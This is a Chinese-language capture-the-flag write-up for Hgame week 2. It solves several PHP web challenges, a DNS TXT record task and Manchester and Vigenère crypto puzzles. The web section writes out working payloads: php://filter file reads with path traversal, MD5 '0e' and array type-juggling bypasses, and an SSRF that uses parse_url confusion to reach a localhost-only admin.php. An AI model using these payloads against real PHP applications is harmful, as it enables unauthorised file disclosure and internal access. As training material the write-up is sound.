

Hgame week2 Write up—FAD18

1. web

1.1 easy_php

Title 提示是 robots 协议，查看后，访问 img/index.php，php 代码提示要 get 传参，传参后打开相应文件，其中有 str_replace 过滤，尝试构造?img=.../flag（flag 是猜的，没想到一下就猜对了），页面提示我要再想想，就想到了 php 伪协议，尝试构造 payload：

```
1.      ?img=php://filter/read=convert.base64-encode/resource=.../flag
```

得到 base64 加密密文，解码后得到 flag: hgame{You_4re_So_g0od}

1.2 php tricks

打开一看，一堆眼花缭乱的过滤，看来应该是各种绕过了。内容是①MD5==绕过(构造 0e==0e)

②MD5==绕过（数组绕过，false==false）

③\$_SERVER['QUERY_STRING']绕过，这个是直接得到 payload 内容（不进行 url 编码），所以变量名 url 编码绕过

④对 str5 进行了一系列要求，不能是数字且要<一个定值还要求>0，经过 var_dump 的不断尝试和百度下，得出数组+字母的绕过方式

⑤url 的一系列要求。以上统统绕过后，然并卵，页面只显示了百度。

此时的 payload:

```
1.      ?str1=s1885207154a&str2=s1836677006a&str3[]=1&str4[]=2&H%5Fgame[ ]=a&url=http://www.baidu.com
```

思考过后，根据页面注释应该要想办法访问 admin.php（必须本地），百度了各种 parse_url 和 curl 的知识点后，构造了这样的 payload:

```
1.      ?str1=s1885207154a&str2=s1836677006a&str3[]=1&str4[]=2&H%5Fgame[ ]=a&url=http://@127.0.0.1:80@www.baidu.com/./admin.php
```

然后根据 php 代码，得绕过 file_exists，还得让 file_get_contents 读出文件，查阅博客后得知，file_get_contents 可以用 php 伪协议读取文件，于是构造了最终版 payload:

```
1.      ?str1=s1885207154a&str2=s1836677006a&str3[]=1&str4[]=2&H%5Fgame[ ]=a&url=http://@127.0.0.1:80@www.baidu.com/./admin.php?filename=php://filter/convert.base64-encode/resource=flag.php
```

得到密文，base 解密后得到 flag: hgame{ThEr4_Ar4_s0m4_Php_Tr1cks}

(ps: 这题真的好硬核。。。有的资料还不好找哇。。)

1.3 PHP Is The Best Language

与上一题类似，也是绕过。我第一眼看到了后面的 key 值过滤，这个也就是要求两次 MD5 加密后的结果都是 0e 开头的，百度一找就找到了。比较难的是前面的 hash 加密，要求传输的内容和加密后的结果一致，而且有一个我们未知的变量用于加密。我原本以为是什么漏洞，可好像没找到，在本地写了一个 php 脚本自己随便尝试时发现，如果某个要加密的值用数组传入就会导致结果为空值，这样某种程度我就可以控制第一个加密的结果（使他为空），后面的结果也就不愁了，脚本截图如下：

```
1 <?php
2 $door[]=1;
3 $key=V5VDSHva7fjyJoJ33IQ1;
4 $secret1=jiofjsajf;//随便瞎打的值，反正原题的也不知道
5 $secret = hash_hmac('sha256', $door, $secret1);
6 var_dump($secret);
7 $gate = hash_hmac('sha256', $key, $secret);
8 echo $gate."\n";
9 var_dump((md5($key)+1)==(md5(md5($key))+1));
10 ?>
```

```
Warning: hash_hmac() expects parameter 2 to be string, array given in C:\Users\admin.000\Desktop\phpctf1.php on line 5
NULL
56d1408e761dd16d6cab03a2de0a3c737325deadfb38e4d7faf2e6c4eab20173
bool(true)
Output completed (0 sec consumed) - Normal Termination
```

Payload:

```
1. door[]=1&key=V5VDSHva7fjyJoJ33IQ1&gate=56d1408e761dd16d6cab03a2de0a3c737325deadfb38e4d7faf2e6c4eab20173
```

得到 flag: hgame{Php_MayBe_Not_Safe}

3.Misc

3.1Are You Familiar with DNS Records?

根据 hint，应该是 DNS 的 txt 记录，得到 flag

☐ A ☐ MX ☐ CNAME ☒ TXT

响应类型	响应IP
TXT	flag=hgame{seems_like_you_are_familiar_with_dns}
TXT	v=spf1 include:spf.mail.qq.com ~all

4.Crypto

4.1 浪漫的足球圣地

百度了标题后猜了一下，证实后确定是曼彻斯特编码，网上找了一个解码器

16进制 966A969596A9965996999565A5A59696A5A6A5

2进制 1001011001101010100101101001010110010110

曼彻斯特算法 0110100001100111011000010110110101100101

10进制 -287126950396519322432738405830938379857

☒ 802.3曼彻斯特 ☐ 标准曼彻斯特 ☐ 差分

☐ 曼彻斯特编码是否进行每8位反序（特殊情况）

1 16 -> 2 2 -> 16 清空

2 曼彻斯特解码 3 曼彻斯特转16进制 曼彻斯特解码操作按照 1-2-3的顺序

结果转成十六进制后，hex 解码得到 flag: hgame{3f24e567591e9cbab2a7d2f1f748a1d4}

4.2 Vigenere~

直接找了一个在线解码页面，得到 flag hgame{gfyuytukxariyydfjlpwxsdbzwvqt }

请输入要加密的明文		请输入要解密的密文	
<p>The Vigenere cipher is a method of encrypting alphabetic text by using a series of interwoven Caesar ciphers, based on the letters of a keyword. It is a form of polyalphabetic substitution. The cipher is easy to understand and implement, but it resisted all attempts to break it for three centuries, which earned it the description le chiffrage indechiffable. Many people have tried to implement encryption schemes that are essentially Vigenere ciphers. In eighteen sixty three, Friedrich Kasiski was the first to publish a general method of deciphering Vigenere ciphers. The Vigenere cipher was originally described by Giovan Battista Bellaso in his one thousand five hundred and fifty-one book La cifra del. Sig. Giovan Battista Bellaso, but the scheme was later misattributed to Blaise de Vigenere in the nineteenth century and so acquired its present name. flag is gfyuytukxariyydfjlpwxsdbzwvqt</p>	<p>加密</p>	<p>Zbi Namyrwj kmhzc cw s eknlgv uz ifuxstlata edhnufwlow xwpz vc mkohk s kklmwx uz mflklagnkh Gswyuv uavbjk, huwvv uh xzw ryxlwxm sx s qycogxx. Ml ay u jgjs ij hgrsedhnufwlow wmtynmlmzcsf. Lny gahnyv ak kuwq lu orvwmxsfj urv asjpwekhx, tmz cx jwycwlwj upd szniehzm xg byec az zsj lnlw ukhxmjoyw, ozowl wsxhiv az nlw vkmjgjavnmgf ry gzalzw abxiuzozijshfi. Ests twgvfi zsby xjxkx xg asjpwekhx wflchloir kunyqwk zbel sxy ikkhhxasrfc Namyrwj kmhzkhw. Af kckzklyr kadnc lzxyi, Xjoyhjaib Oskomoa ogm xzw lcvkl zi tmtrcwz s myrwjgf qwlinh gx jygahnyvafm Pmywtyvw uojlwjy. Nlw Noaifwxy gahnyv osy ivayohedde xikuxcfwv hs Kagbur Tsznmklg Viddgrms af ncw gfk nlgmyurv xopi zmtbxvwv ghx xalnc-gfk vsgc Ru gaxxu hwd. Yck. Yaupef Tgnxakzu Fwdruwg, tan xzw ywlwek qek dgnij eomelxcfmkx xg Trumkw jy Zaykhijw oh xzw trwln wifalc sfj ms suwomjwj cxx hxywwfz heew. Ifey ay ajqmenycpqlmqjzndhrqwpvhtaniz</p>	
	<p>无密钥解密</p>		
	<p>密钥: guess</p>		
	<p>密钥长度(选填)</p>		
	<p>有密钥解密</p>		
	<p>密钥</p>		